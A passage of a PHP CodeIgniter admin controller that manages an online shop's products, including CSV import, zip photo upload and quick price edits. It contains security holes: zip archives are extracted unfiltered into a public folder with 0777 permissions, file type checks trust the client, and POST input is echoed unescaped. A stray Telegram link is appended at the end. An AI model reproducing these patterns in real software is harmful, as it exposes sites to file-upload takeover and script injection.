			$this->load->view('admin/templates/footer'); 
			
		} else {

			$this->db->select('*');
			$this->db->from('products'); 
			$this->db->join('category_product', 'category_product.id_product = products.id_products');
			$this->db->where('category_product.id_category', (int) $this->data['category_id']);
			$this->data['products'] = $this->db->get()->result(); 
			
			//load view
			$this->data['subview'] = 'admin/products/index'; 
			$this->load->view('admin/templates/header', $this->data_header); 
			$this->load->view('admin/_layout_main', $this->data);
			$this->load->view('admin/templates/footer'); 

		}
	}	

	public function change_product_ordering() {

		if(!isset($_POST['change_ordering'])) {
			show_404();
		}

		$data = array(
			'website_product_ordering' => $this->input->post('change_product_ordering')
		);
		$this->db->where('id_configuration', 1);
		$this->db->update('configuration', $data);

		$this->session->set_flashdata('success', "<br><p style='background:green; color:white; padding:5px; font-weight:bold;'>Product Ordering changed to  {$this->input->post('change_product_ordering')}</p>");
		redirect('admin/products');
	}

	public function ajax_getproductdetails() {

		//test if ajax call to prevent direct access
		//this script causing error, ajax cannot request
		/* if (!$this->input->is_ajax_request()) {
   			exit('No direct script access allowed');
		} */

		if (empty($_POST))  {show_404();}

		$product_id = (int) $this->input->post('id_product');

		//get product detail
		$this->db->select('id_products, title, alias, product_status')->from('products')->where('id_products', $product_id);
		$data['product'] = $this->db->get()->row();

		$this->load->view('ajax/ajax_quickedit_product', $data); 		
	}

	public function quick_update_product() {

		if(!isset($_POST['quickeditproduct'])) {
			show_404();
		}

		$product_id = (int) $this->input->post('product_id');
		$product_status = $this->input->post('product_status'); 

		//update product
		$data = array(
			'product_status' => $product_status
		);

		$this->db->where('id_products', $product_id);
		$this->db->update('products', $data); 

		//UPDATE STOCK & SKU
		$sku_array = $this->input->post('sku'); 
		$price_array = $this->input->post('price'); 
		$discounted_price_array = $this->input->post('discounted_price'); 
		$weight_array = $this->input->post('weight'); 
		$stock_array = $this->input->post('stock'); 

		$count_stock = count($stock_array);			

		//firstly, we delete all existing records inside stocks table
		$this->db->where('product_id', $product_id);
		$this->db->delete('product_details');

		//then we fill in the data in
		for($i = 0; $i < 10; $i++ ) { 

			if ($stock_array[$i] != '') {

				$attributes_array = $_POST["select{$i}"];
				$attributes_text = implode(' ',$attributes_array);
				
				$data = array(
					'product_id' => $product_id,
					'sku' => $sku_array[$i],
					'price' => $price_array[$i],
					'stock' => $stock_array[$i],
					'attributes' => $attributes_text,
					'weight' => $weight_array[$i],
					'discounted_price' => $discounted_price_array[$i]
				);
				$this->db->insert('product_details', $data); 
			}	
		}

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Edit Product Successful.</p>');
			redirect('admin/products');
	}

	//duplicate products
	public function duplicate_product($product_id = NULL) {

		if ($product_id == NULL) { show_404();}

		//check if id exist in current table
		$this->db->select('id_products')->from('products')->where('id_products', $product_id);
		$count = $this->db->get()->num_rows();
		if($count == 0) {show_404();}

		//select current chosen product
		$this->db->select('*')->from('products')->where('id_products', $product_id);
		$current_product = $this->db->get()->row();

		//get title, and check the title how many title is similar exist..
		$current_product_title = $current_product->title;

		$this->db->select('id_products')->from('products')->like('title', $current_product_title);
		$count_title = $this->db->get()->num_rows(); 

		//insert to new row
		$data = array(
			'brand_id'	 => $current_product->brand_id,
			'title'		 => $current_product->title . ' (' . ($count_title + 1) . ')', 
			'alias'		 => $current_product->alias . '-' . ($count_title + 1),
			'description'=> $current_product->description,
			'description_en'=> $current_product->description_en,
			'long_description'=> $current_product->long_description,
			'long_description_en'=> $current_product->long_description_en,
			'additional_information'=> $current_product->additional_information,
			'additional_information_en'=> $current_product->additional_information_en,
			'created_at' => $current_product->created_at,
			'image1'	 => $current_product->image1,
			'image2'	 => $current_product->image2,
			'image3'	 => $current_product->image3,
			'image4'	 => $current_product->image4,
			'image5'	 => $current_product->image5,
			'product_status'	 => '0',
			'new_arrival'	 => $current_product->new_arrival,
			'best_seller'	 => $current_product->best_seller,
			'popular_product'	 => $current_product->popular_product,
			'meta_description'	 => $current_product->meta_description,
			'meta_keywords'	 => $current_product->meta_keywords,		
		);

		$this->db->insert('products', $data);
		$new_product_id = $this->db->insert_id();

		//copy category as well
		$this->db->select('id_category')->from('category_product')->where('id_product', $product_id);
		$current_categories = $this->db->get()->result();

		foreach ($current_categories as $current_category) {
			
			$data = array(
				'id_product'	=> $new_product_id,
				'id_category'	=> $current_category->id_category
			);

			$this->db->insert('category_product', $data);
		}

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Product Duplicate Successful.</p>');
			redirect('admin/products');

	}

	public function ajax_add_quantitydiscount() {

		//test if ajax call to prevent direct access
		if (!$this->input->is_ajax_request()) {
   			exit('No direct script access allowed');
		}

		$id_product = (int) $this->input->post('id_product');
		$min_quantity = (int) $this->input->post('min_quantity');
		$quantity_discount = $this->input->post('quantity_discount');

		//check if min quantity already exist 
		$this->db->select('id_quantity_discount')->from('quantity_discount')->where('product_id', $id_product)->where('min_quantity', $min_quantity);
		$count = $this->db->get()->num_rows();

		if ($count == 0) {
			//add quantity discount to quantity discount table 
			$data = array(
				'product_id' => $id_product,
				'min_quantity' => $min_quantity,
				'discount_percentage' => $quantity_discount
			);

			$this->db->insert('quantity_discount', $data);
		
		} else {
			//update quantity discount
			$data = array(
               'discount_percentage' => $quantity_discount
            );

			$this->db->where('product_id', $id_product); 
			$this->db->where('min_quantity', $min_quantity);
			$this->db->update('quantity_discount', $data); 
		}

		//get all quantity discount
		$this->db->select('*')->from('quantity_discount')->where('product_id', $id_product)->order_by('min_quantity', 'ASC');
		$data['quantity_discount'] = $this->db->get()->result();

		$this->load->view('admin/products/ajax_addquantitydiscount', $data);
	}

	public function ajax_delete_quantitydiscount($id_quantitydiscount = NULL) {

		if ($id_quantitydiscount == NULL) { show_404(); }
        //check if product exist
        $this->db->select('id_quantity_discount')->from('quantity_discount')->where('id_quantity_discount', $id_quantitydiscount);
        $count = $this->db->get()->num_rows();
        if($count == 0) {show_404();}  

		//get product id 
		$this->db->select('product_id')->from('quantity_discount')->where('id_quantity_discount', $id_quantitydiscount);
		$product_id = $this->db->get()->row()->product_id;

		//delete id 
		$this->db->where('id_quantity_discount', $id_quantitydiscount);
		$this->db->delete('quantity_discount'); 

		//get all quantity discount
		$this->db->select('*')->from('quantity_discount')->where('product_id', $product_id)->order_by('min_quantity', 'ASC');
		$data['quantity_discount'] = $this->db->get()->result();

		$this->load->view('admin/products/ajax_addquantitydiscount', $data);

	} 

	public function ajax_get_link_products() {

		//test if ajax call to prevent direct access
		if (!$this->input->is_ajax_request()) {
   			exit('No direct script access allowed');
		} 
		
		$category_id = (int) $this->input->post('category_id');

		//get all products belongs to the category
		$this->db->select('id_product')->from('category_product')->where('id_category', $category_id);
		$data['id_products'] = $this->db->get()->result();

		$this->load->view('admin/products/ajax_get_link_products', $data);
	}	

	public function ajax_add_link_products() {

		//test if ajax call to prevent direct access
		if (!$this->input->is_ajax_request()) {
   			exit('No direct script access allowed');
		} 
		
		$data['current_product_id'] = (int) $this->input->post('current_product_id');
		$link_product_id = (int) $this->input->post('link_product_id');

		$data_insert = array(
			'product_id' => $data['current_product_id'],
			'link_to_product_id' => $link_product_id
		);

		$this->db->insert('product_link', $data_insert); 

		$this->load->view('admin/products/ajax_add_link_products', $data);
	}	

	public function delete_link_product($link_id, $product_id) {

		$this->db->where('id_product_link', $link_id);
		$this->db->delete('product_link');

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Product Link Deleted Successful.</p>');
		redirect('admin/products/edit/' . $product_id);
	}

	public function upload_csv() {

		//upload products data
		if(!isset($_POST['upload_csv'])) { show_404(); }

		//check if the uploaded file is csv format
		$mimes = array('application/vnd.ms-excel','text/plain','text/csv','text/tsv');
		
		if(in_array($_FILES['userfile']['type'],$mimes)){

			//continue import operation
			//open the csv file and put into variable
			$file = fopen($_FILES['userfile']['tmp_name'],'r') or die('cannot open file');

			//initialize array
	   		$csv_data = array();

			//if not reach end of file...
			while (!feof($file)) {
				//put the csv into array..
				$csv_data[] = fgetcsv($file); 
			}
	   		fclose($file); //close the file

			 $row_number = 0;

			 foreach ($csv_data as $item) {

				$row_number = $row_number + 1;
			
				//skip the 1st row...
				if($row_number != 1) {

					if(empty($item)) {continue;} //if array is empty, then continue to next iteration and bypass below script..

					//check if product sku already exist, if already exist, update the row, else, insert new

					$this->db->select('sku')->from('product_details')->where('sku', $item[0]);
					$count_sku = $this->db->get()->num_rows();
					
					if($count_sku > 0) {

						//update current sku
						$data = array(
							'title' => $item[1],
							'alias' => url_title($item[1]),
							'categories' => $item[3],
							'color_code' => $item[5],
							'description' => $item[10],
							'description_en' => $item[11],
							'long_description' => $item[12],
							'long_description_en' => $item[13],
							'additional_information' => $item[14],
							'additional_information_en' => $item[15],
							'image1' => $item[16],
							'image2' => $item[17],
							'image3' => $item[18],
							'image4' => $item[19],
							'image5' => $item[20],
							'product_status' => $item[21],
							'new_arrival' => $item[22],
							'popular_product' => $item[23],
							'best_seller' => $item[24],
							'meta_description' => $item[25],
							'meta_keywords' => $item[26],
						);

						//get brand_id
						$this->db->select('id_brands')->from('brands')->where('brand', $item[2]);
						$brand = $this->db->get()->row();
						if(count($brand) > 0) {
							$data['brand_id'] = $brand->id_brands;
						} 

						//update into products table
						$this->db->select('product_id')->from('product_details')->where('sku', $item[0]);
						$product_id = $this->db->get()->row()->product_id;

						$this->db->where('id_products', $product_id);
						$this->db->update('products', $data);

						//update into product_details table
						$data = array(
							'product_id' => $product_id,
							'stock' => $item[6],
							'weight' => $item[7],
							'price' => $item[8],
							'discounted_price' => $item[9],
							'attributes' => str_replace(' ', '', $item[4])
						);

						$this->db->where('product_id', $product_id);
						$this->db->update('product_details', $data);
						
						//update into category_product table
						$category_group = explode(',', str_replace(', ', ',', $item[3]));
						
						foreach($category_group as $group) {

							$categories = explode('-', $group);
							
							if(isset($categories[0])) {
								//check if parent category_id exist
								$this->db->select('id_categories')->from('categories')->where('category', $categories[0])->where('parent', NULL);
								$count_parent_category = $this->db->get()->num_rows();
								if($count_parent_category > 0) {
									//category exist
									//get parent category_id
									$this->db->select('id_categories')->from('categories')->where('category', $categories[0])->where('parent', NULL);
									$parent_category_id = $this->db->get()->row();

									//delete first current id_product
									$this->db->where('id_product', $product_id);
									$this->db->delete('category_product');

									//add to category_product
									$data = array(
										'id_product' => $product_id,
										'id_category' => $parent_category_id->id_categories
									);
									$this->db->insert('category_product', $data);
								}
							}

							if(isset($categories[1])) {
								//check if level1 category_id exist
								$this->db->select('id_categories')->from('categories')->where('category', $categories[1])->where('parent', $parent_category_id->id_categories);
								$count_level1_category = $this->db->get()->num_rows();
								if($count_level1_category > 0) {
									//get level1 category_id
									$this->db->select('id_categories')->from('categories')->where('category', $categories[1])->where('parent', $parent_category_id->id_categories);
									$level1_category_id = $this->db->get()->row();

									//delete first current id_product
									$this->db->where('id_product', $product_id);
									$this->db->delete('category_product');

									//add to category_product
									$data = array(
										'id_product' => $product_id,
										'id_category' => $level1_category_id->id_categories
									);
									$this->db->insert('category_product', $data);
								}
							}

							if(isset($categories[2])) {
								//check if level2 category_id exist
								$this->db->select('id_categories')->from('categories')->where('category', $categories[2])->where('parent', $level1_category_id->id_categories);
								$count_level2_category = $this->db->get()->num_rows();
								if($count_level2_category > 0) {
									//get level2 category_id
									$this->db->select('id_categories')->from('categories')->where('category', $categories[2])->where('parent', $level1_category_id->id_categories);
									$level2_category_id = $this->db->get()->row();

									//delete first current id_product
									$this->db->where('id_product', $product_id);
									$this->db->delete('category_product');
									
									//add to category_product
									$data = array(
										'id_product' => $product_id,
										'id_category' => $level2_category_id->id_categories
									);
									$this->db->insert('category_product', $data);
								}	
							}
						}	
						
					} else {
						//insert new
						//add to products table
						$data = array(
							'title' => $item[1],
							'alias' => url_title($item[1]),
							'categories' => $item[3],
							'color_code' => $item[5],
							'description' => $item[10],
							'description_en' => $item[11],
							'long_description' => $item[12],
							'long_description_en' => $item[13],
							'additional_information' => $item[14],
							'additional_information_en' => $item[15],
							'image1' => $item[16],
							'image2' => $item[17],
							'image3' => $item[18],
							'image4' => $item[19],
							'image5' => $item[20],
							'product_status' => $item[21],
							'new_arrival' => $item[22],
							'popular_product' => $item[23],
							'best_seller' => $item[24],
							'meta_description' => $item[25],
							'meta_keywords' => $item[26],
						);

						//get brand_id
						$this->db->select('id_brands')->from('brands')->where('brand', $item[2]);
						$brand = $this->db->get()->row();
						if(count($brand) > 0) {
							$data['brand_id'] = $brand->id_brands;
						} 

						//insert into products table
						$this->db->insert('products', $data); 	
						$product_id = $this->db->insert_id();

						//insert into product_details table
						$data = array(
							'product_id' => $product_id,
							'sku' => $item[0],
							'stock' => $item[6],
							'weight' => $item[7],
							'price' => $item[8],
							'discounted_price' => $item[9],
							'attributes' => str_replace(' ', '', $item[4])
						);

						//insert into product_details table
						$this->db->insert('product_details', $data); 	

						//insert into category_product table
						$category_group = explode(',', str_replace(', ', ',', $item[3]));
						
						foreach($category_group as $group) {

							$categories = explode('-', $group);
							
							if(isset($categories[0])) {
								//check if parent category_id exist
								$this->db->select('id_categories')->from('categories')->where('category', $categories[0])->where('parent', NULL);
								$count_parent_category = $this->db->get()->num_rows();
								if($count_parent_category > 0) {
									//category exist
									//get parent category_id
									$this->db->select('id_categories')->from('categories')->where('category', $categories[0])->where('parent', NULL);
									$parent_category_id = $this->db->get()->row();
									//add to category_product
									$data = array(
										'id_product' => $product_id,
										'id_category' => $parent_category_id->id_categories
									);
									$this->db->insert('category_product', $data);
								}
							}

							if(isset($categories[1])) {
								//check if level1 category_id exist
								$this->db->select('id_categories')->from('categories')->where('category', $categories[1])->where('parent', $parent_category_id->id_categories);
								$count_level1_category = $this->db->get()->num_rows();
								if($count_level1_category > 0) {
									//get level1 category_id
									$this->db->select('id_categories')->from('categories')->where('category', $categories[1])->where('parent', $parent_category_id->id_categories);
									$level1_category_id = $this->db->get()->row();
									//add to category_product
									$data = array(
										'id_product' => $product_id,
										'id_category' => $level1_category_id->id_categories
									);
									$this->db->insert('category_product', $data);
								}
							}

							if(isset($categories[2])) {
								//check if level2 category_id exist
								$this->db->select('id_categories')->from('categories')->where('category', $categories[2])->where('parent', $level1_category_id->id_categories);
								$count_level2_category = $this->db->get()->num_rows();
								if($count_level2_category > 0) {
									//get level2 category_id
									$this->db->select('id_categories')->from('categories')->where('category', $categories[2])->where('parent', $level1_category_id->id_categories);
									$level2_category_id = $this->db->get()->row();
									//add to category_product
									$data = array(
										'id_product' => $product_id,
										'id_category' => $level2_category_id->id_categories
									);
									$this->db->insert('category_product', $data);
								}	
							}
						}	
						
					}

					//resize product images
					//check if image has uploaded, if already uploaded, then resize. If not uploaded, no need to resize...
					if($item['16'] != '') {
						if(file_exists('./uploads/product/' . $item['16'])) {
							$this->resize_image($item['16']);
						}
					}

					if($item['17'] != '') {
						if(file_exists('./uploads/product/' . $item['17'])) {
							$this->resize_image($item['17']);
						}
					}

					if($item['18'] != '') {
						if(file_exists('./uploads/product/' . $item['18'])) {
							$this->resize_image($item['18']);
						}
					}

					if($item['19'] != '') {
						if(file_exists('./uploads/product/' . $item['19'])) {
							$this->resize_image($item['19']);
						}
					}

					if($item['20'] != '') {
						if(file_exists('./uploads/product/' . $item['20'])) {
							$this->resize_image($item['20']);
						}
					}

				} /*---end if($row_number != 1) --*/	
			} /*---end foreach ($csv_data as $item) ---*/

			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Products CSV Imported.</p>');
			redirect('admin/products');

		} else {
			//not a csv file. Not allowed.
			die('Sorry, file type not allowed. Please upload only CSV file.');
		}
	}

	private function resize_image($image) {

		//Get product image dimensions from configuration table
		$this->db->select('product_image_width, product_image_height, product_image_large_width, product_image_large_height, product_image_small_width, product_image_small_height, product_image_thumbnail_width, product_image_thumbnail_height')->from('configuration')->where('id_configuration', 1);
		$image_dimension = $this->db->get()->row();

		//image resizing (LARGE IMAGE)
		$config['image_library'] = 'gd2';
		$config['source_image'] = './uploads/product/' . $image;
		$config['new_image'] = './uploads/product/large/';
		$config['create_thumb'] = FALSE;
		$config['maintain_ratio'] = TRUE;
		$config['width'] = $image_dimension->product_image_large_width;
		$config['height'] = $image_dimension->product_image_large_height;
		$this->image_lib->initialize($config);  //firstly autoload image_lib, then initialize it. Dont repeatly load it.
		$this->image_lib->resize();	

		//image resizing (SMALL IMAGE)
		$config['image_library'] = 'gd2';
		$config['source_image'] = './uploads/product/' . $image;
		$config['new_image'] = './uploads/product/small/';
		$config['create_thumb'] = FALSE;
		$config['maintain_ratio'] = TRUE;
		$config['width'] = $image_dimension->product_image_small_width;
		$config['height'] = $image_dimension->product_image_small_height;
		$this->image_lib->initialize($config);  //firstly autoload image_lib, then initialize it. Dont repeatly load it.
		$this->image_lib->resize();	

		//image resizing (THUMBNAIL)
		$config['image_library'] = 'gd2';
		$config['source_image'] = './uploads/product/' . $image;
		$config['new_image'] = './uploads/product/thumbnail/';
		$config['create_thumb'] = FALSE;
		$config['maintain_ratio'] = TRUE;
		$config['width'] = $image_dimension->product_image_thumbnail_width;
		$config['height'] = $image_dimension->product_image_thumbnail_height;
		$this->image_lib->initialize($config);  //firstly autoload image_lib, then initialize it. Dont repeatly load it.
		$this->image_lib->resize();	
		
	}	

	public function upload_product_photos() {

		//upload photos
		if(!isset($_POST['upload_photos'])) { show_404(); }

		$config['upload_path'] = './uploads/product/';
        $config['allowed_types'] = 'zip';
        $config['max_size']    = '20000';
        $this->load->library('upload', $config);

        if ( ! $this->upload->do_upload('userfile')) {
            
			//$error = array('error' => $this->upload->display_errors());

			$this->session->set_flashdata('error', '<br>
			<p style="background:red; color:white; padding:5px; font-weight:bold;">File Upload Error. Wrong format or size.</p>');
			redirect('admin/products');	

        } else {

			//EXTRACT ZIP FILE
            $data = array('upload_data' => $this->upload->data());
            $zip = new ZipArchive;
            $file = $data['upload_data']['full_path'];
            chmod($file,0777);

            if ($zip->open($file) === TRUE) {
                   
				    $zip->extractTo('./uploads/product/');
                    $zip->close();
                   
            } else {
                    $this->session->set_flashdata('error', '<br>
					<p style="background:red; color:white; padding:5px; font-weight:bold;">Sorry Product Photos Upload Fail</p>');
					redirect('admin/products');	
            } 

			//delete zip files and other files besides jpg and png 
			//this is yet secured, need to delete unwanted files as well
			unlink(FCPATH .'/uploads/product/'. $data['upload_data']['file_name']); //delete zip file
			
			$this->session->set_flashdata('success', '<br>
			<p style="background:green; color:white; padding:5px; font-weight:bold;">Product Photos Upload Success</p>');
			redirect('admin/products'); 
        }
	}	

	public function quick_edit() {

		//pagination in action. 100 results per page
		$this->load->library('pagination');
		$config = array();
		$this->load->helper('pagination_helper');
		$config = pagination_format(); //function from helper file
		$config['base_url'] = base_url() . 'admin/products/quick_edit/';
		$config['per_page'] = 50;
		$config['uri_segment'] = 4;
		//get total rows record count
		$this->db->select('id_product_details')->from('product_details');
		$config['total_rows'] = $this->db->get()->num_rows();
		$this->pagination->initialize($config);
		//get products
		$this->db->select('*')->from('product_details')->limit($config['per_page'], $this->uri->segment($config['uri_segment']));
		$this->data['products'] = $this->db->get()->result();
		$this->data['use_pagination'] = 'yes'; 

		$this->data['subview'] = 'admin/products/quick_edit';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');	

	}

	public function update_quick_edit() {

		if(!isset($_POST['update_price'])) { redirect('admin/products/quick_edit'); }

		$stock_array = $this->input->post('stock');

		$price_array = $this->input->post('price');

		$discounted_price_array = $this->input->post('discounted_price');

		foreach($stock_array as $product_detail_id => $stock) {

			//update data
			$data = array(
				'stock' => $this->security->xss_clean($stock[0])
			);
			$this->db->where('id_product_details', $product_detail_id);
			$this->db->update('product_details', $data);
		}

		foreach($price_array as $product_detail_id => $price) {

			//update data
			$data = array(
				'price' => $this->security->xss_clean($price[0])
			);
			$this->db->where('id_product_details', $product_detail_id);
			$this->db->update('product_details', $data);
		}

		foreach($discounted_price_array as $product_detail_id => $discounted_price) {

			//update data
			$data = array(
				'discounted_price' => $this->security->xss_clean($discounted_price[0])
			);
			$this->db->where('id_product_details', $product_detail_id);
			$this->db->update('product_details', $data);
		}


		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Price & Stock Edit Successful</p>');

		redirect('admin/products/quick_edit'); 

	}

} 

https://t.me/RX1948 - 2025